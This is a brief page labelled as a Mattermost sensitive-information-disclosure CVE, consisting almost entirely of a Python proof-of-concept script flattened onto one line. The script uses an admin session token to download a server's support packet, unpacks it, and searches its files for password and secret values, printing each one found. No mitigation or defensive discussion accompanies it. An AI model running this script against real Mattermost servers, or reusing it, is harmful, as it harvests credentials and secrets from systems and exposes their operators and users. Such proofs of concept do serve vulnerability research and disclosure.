CVE-2026-6346: Mattermost敏感信息泄露漏洞

#!/usr/bin/env python3 # PoC script to simulate downloading and analyzing a Mattermost support packet # Note: This requires a valid admin session token. import requests import zipfile import io import re TARGET_URL = "https://mattermost.example.com" ADMIN_TOKEN = "YOUR_ADMIN_SESSION_TOKEN" # Step 1: Download the support packet via API headers = { "Authorization": f"Bearer {ADMIN_TOKEN}" } print("[*] Attempting to download support packet...") response = requests.get(f"{TARGET_URL}/api/v4/system/supportpacket", headers=headers) if response.status_code == 200: print("[+] Support packet downloaded successfully.") # Step 2: Extract and search for sensitive patterns with zipfile.ZipFile(io.BytesIO(response.content)) as z: print("[*] Analyzing files in the packet...") for filename in z.namelist(): with z.open(filename) as f: content = f.read().decode('utf-8', errors='ignore') # Search for common credential patterns (simple regex) passwords = re.findall(r'"(?:Password|Secret)"\s*:\s*"([^"]+)"', content, re.IGNORECASE) if passwords: print(f"[!] Potential sensitive data found in {filename}:") for pwd in passwords: print(f" - {pwd}") else: print(f"[-] Failed to download packet. Status code: {response.status_code}")